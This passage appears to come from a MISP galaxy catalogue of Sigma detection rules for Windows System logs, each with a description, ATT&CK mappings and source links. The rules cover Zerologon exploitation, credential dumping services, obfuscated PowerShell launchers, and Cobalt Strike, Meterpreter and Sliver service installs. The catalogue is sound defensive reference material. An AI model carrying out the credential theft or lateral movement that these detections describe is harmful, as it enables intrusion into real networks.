Detects Windows update errors including installation failures and connection issues. Defenders should observe this in case critical update KBs aren't installed.

The tag is: *misp-galaxy:sigma-rules="Windows Update Error"*

View relationships graph

Windows Update Error has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Compromise Infrastructure - T1584" with estimative-language:likelihood-probability="almost-certain"

Table 16325. Table References

Links

https://github.com/nasbench/EVTX-ETW-Resources/blob/f1b010ce0ee1b71e3024180de1a3e67f99701fe4/ETWProvidersManifests/Windows10/1903/W10_1903_Pro_20200714_18362.959/WEPExplorer/Microsoft-Windows-WindowsUpdateClient.xml
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/microsoft_windows_windows_update_client/win_system_susp_system_update_error.yml

Zerologon Exploitation Using Well-known Tools

This rule is designed to detect attempts to exploit Zerologon (CVE-2020-1472) vulnerability using mimikatz zerologon module or other exploits from machine with "kali" hostname.

The tag is: *misp-galaxy:sigma-rules="Zerologon Exploitation Using Well-known Tools"*

View relationships graph

Zerologon Exploitation Using Well-known Tools has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"

Table 16326. Table References

Links
https://bi-zone.medium.com/hunting-for-zerologon-f65c61586382
https://www.secura.com/blog/zero-logon
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/netlogon/win_system_possible_zerologon_exploitation_using_wellknown_tools.yml

Vulnerable Netlogon Secure Channel Connection Allowed

Detects that a vulnerable Netlogon secure channel connection was allowed, which could be an indicator of CVE-2020-1472.

The tag is: *misp-galaxy:sigma-rules="Vulnerable Netlogon Secure Channel Connection Allowed"*

View relationships graph

Vulnerable Netlogon Secure Channel Connection Allowed has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with estimative-language:likelihood-probability="almost-certain"

Table 16327. Table References

Links

https://support.microsoft.com/en-us/help/4557222/how-to-manage-the-changes-in-netlogon-secure-channel-connections-assoc
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/netlogon/win_system_vul_cve_2020_1472.yml

Credential Dumping Tools Service Execution - System

Detects well-known credential dumping tools execution via service execution events

The tag is: *misp-galaxy:sigma-rules="Credential Dumping Tools Service Execution - System"*

View relationships graph

Credential Dumping Tools Service Execution - System has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="DCSync - T1003.006" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 16328. Table References

Links
https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_mal_creddumper.yml

PowerShell Scripts Installed as Services

Detects powershell script installed as a Service

The tag is: *misp-galaxy:sigma-rules="PowerShell Scripts Installed as Services"*

View relationships graph

PowerShell Scripts Installed as Services has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 16329. Table References

Links
https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_powershell_script_installed_as_service.yml

PAExec Service Installation

Detects PAExec service installation

The tag is: *misp-galaxy:sigma-rules="PAExec Service Installation"*

View relationships graph

PAExec Service Installation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 16330. Table References

Links
https://www.poweradmin.com/paexec/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_paexec.yml

Suspicious Service Installation

Detects suspicious service installation commands

The tag is: *misp-galaxy:sigma-rules="Suspicious Service Installation"*

View relationships graph

Suspicious Service Installation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 16331. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_susp.yml

smbexec.py Service Installation

Detects the use of smbexec.py tool by detecting a specific service installation

The tag is: *misp-galaxy:sigma-rules="smbexec.py Service Installation"*

View relationships graph

smbexec.py Service Installation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 16332. Table References

Links
https://github.com/fortra/impacket/blob/edef71f17bc1240f9f8c957bbda98662951ac3ec/examples/smbexec.py#L60
https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/
https://github.com/fortra/impacket/blob/33058eb2fde6976ea62e04bc7d6b629d64d44712/examples/smbexec.py#L286-L296
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_hack_smbexec.yml

Invoke-Obfuscation Via Use Rundll32 - System

Detects Obfuscated Powershell via use Rundll32 in Scripts

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation Via Use Rundll32 - System"*

View relationships graph

Invoke-Obfuscation Via Use Rundll32 - System has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16333. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_via_use_rundll32_services.yml

Important Windows Service Terminated With Error

Detects important or interesting Windows services that got terminated for whatever reason

The tag is: *misp-galaxy:sigma-rules="Important Windows Service Terminated With Error"*

Table 16334. Table References

Links
https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_terminated_error_important.yml

Windows Service Terminated With Error

Detects Windows services that got terminated for whatever reason

The tag is: *misp-galaxy:sigma-rules="Windows Service Terminated With Error"*

Table 16335. Table References

Links
https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_terminated_error_generic.yml

New PDQDeploy Service - Client Side

Detects PDQDeploy service installation on the target system. When a package is deployed via PDQDeploy it installs a remote service on the target machine with the name "PDQDeployRunner-X" where "X" is an integer starting from 1

The tag is: *misp-galaxy:sigma-rules="New PDQDeploy Service - Client Side"*

View relationships graph

New PDQDeploy Service - Client Side has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 16336. Table References

Links
https://documentation.pdq.com/PDQDeploy/13.0.3.0/index.html?windows-services.htm

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_pdqdeploy_runner.yml

Tap Driver Installation

Well-known TAP software installation. Possible preparation for data exfiltration using tunnelling techniques

The tag is: *misp-galaxy:sigma-rules="Tap Driver Installation"*

View relationships graph

Tap Driver Installation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"

Table 16337. Table References

Links
https://community.openvpn.net/openvpn/wiki/ManagingWindowsTAPDrivers
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_tap_driver.yml

Remote Utilities Host Service Install

Detects Remote Utilities Host service installation on the target system.

The tag is: *misp-galaxy:sigma-rules="Remote Utilities Host Service Install"*

Table 16338. Table References

Links
https://www.remoteutilities.com/support/kb/host-service-won-t-start/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_remote_utilities.yml

Invoke-Obfuscation VAR+ Launcher - System

Detects Obfuscated use of Environment Variables to execute PowerShell

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation VAR+ Launcher - System"*

View relationships graph

Invoke-Obfuscation VAR+ Launcher - System has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with

estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16339. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_var_services.yml

HackTool Service Registration or Execution

Detects installation or execution of services

The tag is: *misp-galaxy:sigma-rules="HackTool Service Registration or Execution"*

View relationships graph

HackTool Service Registration or Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 16340. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_hacktools.yml

Invoke-Obfuscation Obfuscated IEX Invocation - System

Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block linked in the references

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation Obfuscated IEX Invocation - System"*

View relationships graph

Invoke-Obfuscation Obfuscated IEX Invocation - System has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Table 16341. Table References

Links
https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_obfuscated_iex_services.yml

Windows Defender Threat Detection Service Disabled

Detects when the "Windows Defender Threat Protection" service is disabled.

The tag is: *misp-galaxy:sigma-rules="Windows Defender Threat Detection Service Disabled"*

View relationships graph

Windows Defender Threat Detection Service Disabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 16342. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_defender_disabled.yml

Invoke-Obfuscation Via Stdin - System

Detects Obfuscated Powershell via Stdin in Scripts

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation Via Stdin - System"*

View relationships graph

Invoke-Obfuscation Via Stdin - System has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16343. Table References

Links

https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_via_stdin_services.yml

Important Windows Service Terminated Unexpectedly

Detects important or interesting Windows services that got terminated unexpectedly.

The tag is: *misp-galaxy:sigma-rules="Important Windows Service Terminated Unexpectedly"*

Table 16344. Table References

Links
https://www.randori.com/blog/vulnerability-analysis-queuejumper-cve-2023-21554/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_terminated_unexpectedly.yml

KrbRelayUp Service Installation

Detects service creation from KrbRelayUp tool used for privilege escalation in Windows domain environments where LDAP signing is not enforced (the default settings)

The tag is: *misp-galaxy:sigma-rules="KrbRelayUp Service Installation"*

View relationships graph

KrbRelayUp Service Installation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543" with estimative-language:likelihood-probability="almost-certain"

Table 16345. Table References

Links
https://github.com/Dec0ne/KrbRelayUp
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_krbrelayup_service_installation.yml

Invoke-Obfuscation RUNDLL LAUNCHER - System

Detects Obfuscated Powershell via RUNDLL LAUNCHER

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation RUNDLL LAUNCHER - System"*

View relationships graph

Invoke-Obfuscation RUNDLL LAUNCHER - System has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16346. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_via_rundll_services.yml

CobaltStrike Service Installations - System

Detects known malicious service installs that appear in cases in which a Cobalt Strike beacon elevates privileges or lateral movement

The tag is: *misp-galaxy:sigma-rules="CobaltStrike Service Installations - System"*

View relationships graph

CobaltStrike Service Installations - System has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 16347. Table References

Links
https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/
https://www.sans.org/webcasts/119395
https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_cobaltstrike_service_installs.yml

Invoke-Obfuscation COMPRESS OBFUSCATION - System

Detects Obfuscated Powershell via COMPRESS OBFUSCATION

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation COMPRESS OBFUSCATION - System"*

View relationships graph

Invoke-Obfuscation COMPRESS OBFUSCATION - System has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16348. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_via_compress_services.yml

Remote Access Tool Services Have Been Installed - System

Detects service installation of different remote access tools software. These software are often abused by threat actors to perform

The tag is: *misp-galaxy:sigma-rules="Remote Access Tool Services Have Been Installed - System"*

View relationships graph

Remote Access Tool Services Have Been Installed - System has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 16349. Table References

Links
https://redcanary.com/blog/misbehaving-rats/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_remote_access_software.yml

RTCore Suspicious Service Installation

Detects the installation of RTCore service. Which could be an indication of Micro-Star MSI Afterburner vulnerable driver abuse

The tag is: *misp-galaxy:sigma-rules="RTCore Suspicious Service Installation"*

Table 16350. Table References

Links
https://github.com/br-sn/CheekyBlinder/blob/e1764a8a0e7cda8a3716aefa35799f560686e01c/CheekyBlinder/CheekyBlinder.cpp
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_susp_rtcore64_service_install.yml

NetSupport Manager Service Install

Detects NetSupport Manager service installation on the target system.

The tag is: *misp-galaxy:sigma-rules="NetSupport Manager Service Install"*

Table 16351. Table References

Links
http://resources.netsupportsoftware.com/resources/manualpdfs/nsm_manual_uk.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_netsupport_manager.yml

ProcessHacker Privilege Elevation

Detects a ProcessHacker tool that elevated privileges to a very high level

The tag is: *misp-galaxy:sigma-rules="ProcessHacker Privilege Elevation"*

View relationships graph

ProcessHacker Privilege Elevation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 16352. Table References

Links
https://twitter.com/1kwpeter/status/1397816101455765504
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_pua_proceshacker.yml

Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - System

Detects Obfuscated Powershell via VAR++ LAUNCHER

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - System"*

View relationships graph

Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - System has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16353. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_via_var_services.yml

Service Installation in Suspicious Folder

Detects service installation in suspicious folder appdata

The tag is: *misp-galaxy:sigma-rules="Service Installation in Suspicious Folder"*

View relationships graph

Service Installation in Suspicious Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 16354. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_susp_service_installation_folder.yml

Service Installed By Unusual Client - System

Detects a service installed by a client which has PID 0 or whose parent has PID 0

The tag is: *misp-galaxy:sigma-rules="Service Installed By Unusual Client - System"*

View relationships graph

Service Installed By Unusual Client - System has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Create or Modify System Process - T1543" with estimative-language:likelihood-probability="almost-certain"

Table 16355. Table References

Links
https://www.elastic.co/guide/en/security/current/windows-service-installed-via-an-unusual-client.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_sups_unusal_client.yml

Moriya Rootkit - System

Detects the use of Moriya rootkit as described in the securelist's Operation TunnelSnake report

The tag is: *misp-galaxy:sigma-rules="Moriya Rootkit - System"*

View relationships graph

Moriya Rootkit - System has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 16356. Table References

Links
https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_moriya_rootkit.yml

Invoke-Obfuscation Via Use MSHTA - System

Detects Obfuscated Powershell via use MSHTA in Scripts

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation Via Use MSHTA - System"*

View relationships graph

Invoke-Obfuscation Via Use MSHTA - System has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16357. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_via_use_mshta_services.yml

Mesh Agent Service Installation

Detects a Mesh Agent service installation. Mesh Agent is used to remotely manage computers

The tag is: *misp-galaxy:sigma-rules="Mesh Agent Service Installation"*

View relationships graph

Mesh Agent Service Installation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 16358. Table References

Links
https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_mesh_agent.yml

Suspicious Service Installation Script

Detects suspicious service installation scripts

The tag is: *misp-galaxy:sigma-rules="Suspicious Service Installation Script"*

View relationships graph

Suspicious Service Installation Script has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 16359. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_susp_service_installation_script.yml

Service Installation with Suspicious Folder Pattern

Detects service installation with suspicious folder patterns

The tag is: *misp-galaxy:sigma-rules="Service Installation with Suspicious Folder Pattern"*

View relationships graph

Service Installation with Suspicious Folder Pattern has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 16360. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_susp_service_installation_folder_pattern.yml

RemCom Service Installation

Detects RemCom service installation and execution events

The tag is: *misp-galaxy:sigma-rules="RemCom Service Installation"*

View relationships graph

RemCom Service Installation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 16361. Table References

Links
https://github.com/kavika13/RemCom/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_remcom.yml

Uncommon Service Installation Image Path

Detects uncommon service installation commands by looking at suspicious or uncommon image path values containing references to encoded powershell commands, temporary paths, etc.

The tag is: *misp-galaxy:sigma-rules="Uncommon Service Installation Image Path"*

View relationships graph

Uncommon Service Installation Image Path has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 16362. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_uncommon.yml

Meterpreter or Cobalt Strike Getsystem Service Installation - System

Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service installation

The tag is: *misp-galaxy:sigma-rules="Meterpreter or Cobalt Strike Getsystem Service Installation - System"*

View relationships graph

Meterpreter or Cobalt Strike Getsystem Service Installation - System has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Token Impersonation/Theft - T1134.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Create Process with Token - T1134.002" with estimative-language:likelihood-probability="almost-certain"

Table 16363. Table References

Links
https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/
https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_meterpreter_or_cobaltstrike_getsystem_service_installation.yml

Invoke-Obfuscation CLIP+ Launcher - System

Detects Obfuscated use of Clip.exe to execute PowerShell

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation CLIP+ Launcher - System"*

View relationships graph

Invoke-Obfuscation CLIP+ Launcher - System has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16364. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_clip_services.yml

CSExec Service Installation

Detects CSExec service installation and execution events

The tag is: *misp-galaxy:sigma-rules="CSExec Service Installation"*

View relationships graph

CSExec Service Installation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 16365. Table References

Links
https://github.com/malcomvetter/CSExec
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_csexecsvc.yml

Anydesk Remote Access Software Service Installation

Detects the installation of the anydesk software service. Which could be an indication of anydesk abuse if you the software isn't already used.

The tag is: *misp-galaxy:sigma-rules="Anydesk Remote Access Software Service Installation"*

Table 16366. Table References

Links
https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/
https://thedfirreport.com/2025/02/24/confluence-exploit-leads-to-lockbit-ransomware/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_anydesk.yml

TacticalRMM Service Installation

Detects a TacticalRMM service installation. Tactical RMM is a remote monitoring & management tool.

The tag is: *misp-galaxy:sigma-rules="TacticalRMM Service Installation"*

View relationships graph

TacticalRMM Service Installation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote Desktop Software - T1219.002" with estimative-language:likelihood-probability="almost-certain"

Table 16367. Table References

Links
https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_tacticalrmm.yml

New PDQDeploy Service - Server Side

Detects a PDQDeploy service installation which indicates that PDQDeploy was installed on the machines. PDQDeploy can be abused by attackers to remotely install packages or execute commands on target machines

The tag is: *misp-galaxy:sigma-rules="New PDQDeploy Service - Server Side"*

View relationships graph

New PDQDeploy Service - Server Side has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

Table 16368. Table References

Links
https://documentation.pdq.com/PDQDeploy/13.0.3.0/index.html?windows-services.htm
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_pdqdeploy.yml

Sliver C2 Default Service Installation

Detects known malicious service installation that appear in cases in which a Sliver implants execute the PsExec commands

The tag is: *misp-galaxy:sigma-rules="Sliver C2 Default Service Installation"*

View relationships graph

Sliver C2 Default Service Installation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 16369. Table References

Links
https://github.com/BishopFox/sliver/blob/79f2d48fcdfc2bee4713b78d431ea4b27f733f30/client/command/commands.go#L1231
https://www.microsoft.com/security/blog/2022/08/24/looking-for-the-sliver-lining-hunting-for-emerging-command-and-control-frameworks/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_sliver.yml

Invoke-Obfuscation STDIN+ Launcher - System

Detects Obfuscated use of stdin to execute PowerShell

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation STDIN+ Launcher - System"*

View relationships graph

Invoke-Obfuscation STDIN+ Launcher - System has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16370. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_stdin_services.yml

PsExec Service Installation

Detects PsExec service installation and execution events

The tag is: *misp-galaxy:sigma-rules="PsExec Service Installation"*

View relationships graph

PsExec Service Installation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 16371. Table References

Links
https://jpcertcc.github.io/ToolAnalysisResultSheet
https://www.jpcert.or.jp/english/pub/sr/ir_research.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_service_install_sysinternals_psexec.yml

Invoke-Obfuscation Via Use Clip - System

Detects Obfuscated Powershell via use Clip.exe in Scripts

The tag is: *misp-galaxy:sigma-rules="Invoke-Obfuscation Via Use Clip - System"*

View relationships graph

Invoke-Obfuscation Via Use Clip - System has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 16372. Table References

Links
https://github.com/SigmaHQ/sigma/issues/1009
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/system/service_control_manager/win_system_invoke_obfuscation_via_use_clip_services.yml

NTFS Vulnerability Exploitation

